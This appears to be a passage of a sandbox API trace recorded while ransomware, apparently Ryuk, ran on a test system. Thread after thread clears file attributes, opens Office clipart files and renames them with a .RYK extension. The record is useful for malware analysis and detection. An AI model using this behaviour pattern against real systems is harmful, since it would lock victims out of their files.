	[0251.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2947
	os_tid = 0x3370

	[0251.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF", dwFileAttributes=0x80) returned 0
	[0252.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.267] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.267] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2948
	os_tid = 0x3374

	[0251.708] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG", dwFileAttributes=0x80) returned 0
	[0251.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0251.709] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0251.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2949
	os_tid = 0x3378

	[0251.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG", dwFileAttributes=0x80) returned 0
	[0252.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.266] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.266] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2950
	os_tid = 0x337c

	[0251.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG", dwFileAttributes=0x80) returned 0
	[0252.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.265] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2951
	os_tid = 0x3380

	[0251.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG", dwFileAttributes=0x80) returned 0
	[0252.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.265] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.265] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2952
	os_tid = 0x3384

	[0251.715] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG", dwFileAttributes=0x80) returned 0
	[0252.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.264] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2953
	os_tid = 0x3388

	[0251.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG", dwFileAttributes=0x80) returned 0
	[0252.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.263] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.264] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2954
	os_tid = 0x338c

	[0251.717] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF", dwFileAttributes=0x80) returned 0
	[0252.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.263] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.263] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2955
	os_tid = 0x3390

	[0251.721] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF", dwFileAttributes=0x80) returned 0
	[0252.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.262] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2956
	os_tid = 0x3394

	[0251.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF", dwFileAttributes=0x80) returned 0
	[0252.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.261] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.262] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2957
	os_tid = 0x3398

	[0251.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG", dwFileAttributes=0x80) returned 0
	[0252.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.016] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.016] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2958
	os_tid = 0x339c

	[0252.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG", dwFileAttributes=0x80) returned 0
	[0252.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.022] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313965.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313965.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2959
	os_tid = 0x33a0

	[0252.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG", dwFileAttributes=0x80) returned 0
	[0252.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.024] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.024] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313970.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313970.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2960
	os_tid = 0x33a4

	[0252.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG", dwFileAttributes=0x80) returned 0
	[0252.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.027] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.027] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313974.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313974.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2961
	os_tid = 0x33a8

	[0252.028] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG", dwFileAttributes=0x80) returned 0
	[0252.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.458] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.458] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0314068.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0314068.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2962
	os_tid = 0x33ac

	[0252.030] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG", dwFileAttributes=0x80) returned 0
	[0252.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315580.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315580.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2963
	os_tid = 0x33b0

	[0252.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG", dwFileAttributes=0x80) returned 0
	[0252.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.457] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0315612.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0315612.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2964
	os_tid = 0x33b4

	[0252.033] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF", dwFileAttributes=0x80) returned 0
	[0252.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.455] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318448.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318448.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2965
	os_tid = 0x33b8

	[0252.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF", dwFileAttributes=0x80) returned 0
	[0252.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.035] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318804.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318804.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2966
	os_tid = 0x33bc

	[0252.037] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF", dwFileAttributes=0x80) returned 0
	[0252.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.038] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.038] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0318810.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0318810.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2967
	os_tid = 0x33c0

	[0252.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG", dwFileAttributes=0x80) returned 0
	[0252.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.455] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0321179.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0321179.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2968
	os_tid = 0x33c4

	[0252.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF", dwFileAttributes=0x80) returned 0
	[0252.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0252.275] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0252.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324694.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324694.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2969
	os_tid = 0x33c8

	[0257.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF", dwFileAttributes=0x80) returned 0
	[0257.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.757] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0324704.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0324704.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2970
	os_tid = 0x33cc


Thread:
	id = 2971
	os_tid = 0x33d0

	[0257.760] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG", dwFileAttributes=0x80) returned 0
	[0257.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.760] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.760] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0337280.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0337280.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2972
	os_tid = 0x33d4

	[0257.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG", dwFileAttributes=0x80) returned 0
	[0257.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.766] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.766] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341328.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341328.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2973
	os_tid = 0x33d8

	[0257.765] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG", dwFileAttributes=0x80) returned 0
	[0257.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341344.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341344.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.769] CloseHandle (hObject=0xffffffffffffffff) returned 0
